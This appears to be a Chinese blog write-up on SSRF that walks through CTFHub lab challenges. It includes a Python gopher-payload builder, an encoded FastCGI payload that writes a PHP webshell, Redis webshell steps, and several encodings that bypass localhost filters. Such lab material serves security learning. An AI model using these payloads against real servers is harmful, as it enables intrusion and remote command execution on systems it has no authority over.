SSRF姿势学习-持续更新

SSRF的学习

SSRF是什么?

SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。

也就是说服务端能够发起请求,而这个请求攻击者是可以伪造的,且服务端没有对这个请求进行过滤和限制,这就导致攻击者可利用服务端对内网进行探测利用。

优秀的文章:https://www.freebuf.com/articles/web/258365.html

其他利用姿势:https://mp.weixin.qq.com/s/MEnXZQG8ExvlSzuIsrhGsw

接下来在CTFHUB中实践一下。

常见伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
http://:访问 HTTP(s) 网址,则可利用进行探测内网主机存活、端口开放情况

gopher://:发送GET或POST请求;攻击内网应用,如FastCGI、Redis

dict://:泄露安装软件版本信息,扫描端口,redis访问,获取内网信息、爆破密码

file://:访问本地文件系统,则可利用进行读取本地文件

ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

CTFHUB

第一部分(HTTP,Dict,file)

内网访问

题目提示访问127.0.0.1的flag.php

image-20221018102619065

看见URL中含有url=这种关键词猜测就知道有戏,所以构造http://127.0.0.1/flag.php就得到了flag

然后使用file伪协议读取默认网站路径下的flag.php文件,查看源码得到flag

image-20221018104152105

然后查看网页源码就能看到flag

端口扫描

题目提示端口范围在8000-9000

通过dict协议爆破出8376端口存在apache服务

image-20221018105402132

再使用http协议访问

image-20221018105446736

第二部分(Gopher)

  • gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,GopherInternet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。
  • 它只支持文本,不支持图像
  • 支持发出GET、POST请求

POST请求

尝试访问本机的flag.php

image-20221018110340803

有一个输入框,在源码发现key,因为没有提交按钮,所以只有自己构造一个POST请求发送值,使用大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=87ba69bd637038d8ee5d610e2359b42f
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码


# 注意:上面那四个参数是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。
#
# 特别要注意Content-Length应为字符串“key=87ba69bd637038d8ee5d610e2359b42f”的长度。

把生成的gopher链接拿到URL中去访问,得到flag

image-20221018112353428

上传文件

题目提示上传一个文件到flag.php,首先使用file协议读一下这个flag.php

根据源码得知只要文件大小大于0就OK,且没有任何过滤

image-20221018113941683

因为页面没有提交按钮,所以我们拿不到文件上传的数据包,那么就在前端F12添加一个提交按钮

然后提交,抓包发送到repeater,再放包

image-20221018114422427

这样是访问不到的,我们把repeater的包拿到刚刚的转为gopher协议的脚本里去

image-20221018114511459

把HOST改为127.0.01

image-20221018114617897

把制作好的gopher协议的链接拿去拼接访问,就得到了flag

FastCGI

FastCGI是什么?

FastCGI、CGI、PHP-CGI有啥关系?

参考链接:https://mp.weixin.qq.com/s/TiV2fqywBgY_bcRkaYmkfw

CGI和FastCGI的运行原理:https://www.cnblogs.com/itbsl/p/9828776.html

题目提示需要攻击一下fastcgi协议

使用大佬的工具gopherus

地址:https://github.com/tarunkant/Gopherus

image-20221018145932564

完事儿把这个payload还要拿去进行URL编码,因为这里会进行两次解码,一次GET,一次curl,不过我在得到的结果是这样

1
%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%30%30%30%2f%5f%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%35%25%30%35%25%30%30%25%30%46%25%31%30%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%67%6f%25%32%30%2f%25%32%30%66%63%67%69%63%6c%69%65%6e%74%25%32%30%25%30%42%25%30%39%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%25%30%46%25%30%38%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%25%30%45%25%30%33%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%31%33%34%25%30%45%25%30%34%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%25%30%39%4b%50%48%50%5f%56%41%4c%55%45%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%25%32%30%25%33%44%25%32%30%4f%6e%25%30%41%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%25%32%30%25%33%44%25%32%30%25%30%41%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%25%32%30%25%33%44%25%32%30%70%68%70%25%33%41%2f%2f%69%6e%70%75%74%25%30%46%25%31%37%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70%25%30%44%25%30%31%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%25%38%36%25%30%34%25%30%30%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%37%65%63%68%6f%25%32%30%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%7a%45%77%4d%44%67%32%58%53%6b%37%50%7a%34%25%32%30%25%37%43%25%32%30%62%61%73%65%36%34%25%32%30%2d%64%25%32%30%25%33%45%25%32%30%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%25%32%37%25%32%39%25%33%42%64%69%65%25%32%38%25%32%37%2d%2d%2d%2d%2d%4d%61%64%65%2d%62%79%2d%53%70%79%44%33%72%2d%2d%2d%2d%2d%25%30%41%25%32%37%25%32%39%25%33%42%25%33%46%25%33%45%25%30%30%25%30%30%25%30%30%25%30%30

然后拿去URL拼接访问

image-20221018150014617

成功执行并写入,蚁剑连接shell马

image-20221018150142556

Redis

关于redis的利用方式前面的文章中已经谈到了三种,只是当时漏了个主从复制。

探测一下6379端口,发现报错

image-20221018151336583

直接上工具梭哈

image-20221018154216577

把payload再URL编码一下然后拼接URL访问,就会生成一个shell.php文件,通过cmd参数执行命令

image-20221018154335636

然后通过命令写个一句话马进去,蚁剑连接

image-20221018154604885

第三部分(Bypass)

参考文章:https://mp.weixin.qq.com/s/r0SwjHu-P45FmDSp7rkZwA

URL Bypass

题目提示:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

这题核心是利用@绕过。

1
2
3
4
利用notfound.ctfhub.com充当用户名去访问127.0.0.1这个地址
http://notfound.ctfhub.com@127.0.0.1

payload:http://notfound.ctfhub.com@127.0.0.1/flag.php

IP Bypass

题目提示:这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
localhost绕过
http://challenge-c71c53688cc6eff3.sandbox.ctfhub.com:10800/?url=http://localhost:80/flag.php

绕不过,被ban
http://challenge-c71c53688cc6eff3.sandbox.ctfhub.com:10800/?url=http://127.000.000.001:80/flag.php

十六进制绕过
http://challenge-c71c53688cc6eff3.sandbox.ctfhub.com:10800/?url=http://0X7F000001:80/flag.php

八进制绕过,被ban
http://challenge-c71c53688cc6eff3.sandbox.ctfhub.com:10800/?url=http://0177.0000.0000.0001:80/flag.php

其他各种表示指向127.0.0.1的
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

302跳转Bypass

题目提示:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

先手访问一波,它说我是hacker,ban我IP…

image-20221018161939981

以前有xip.io网站,这是一个申请的网站,你访问http://127.0.0.1.xip.io就等于访问http://127.0.0.1,这是这站现在没了

还是十进制绕过吧

1
http://challenge-488fc34527452234.sandbox.ctfhub.com:10800/?url=http://2130706433:80/flag.php

DNS重定向

自己搭建一个DNS服务器有点麻烦,直接就用现成的吧

推荐一个重定向网址:https://lock.cmpxchg8b.com/rebinder.html

拼接URL访问得到flagimage-20221018170812092

推荐大家上CTFHUB进行训练

image-20221018170946817

感谢大佬的分享

https://www.freebuf.com/articles/web/258365.html

https://www.freebuf.com/articles/web/265646.html

分享一个SSRF绕过姿势

https://github.com/trapp3rhat/SSRF-Injection/blob/master/README.md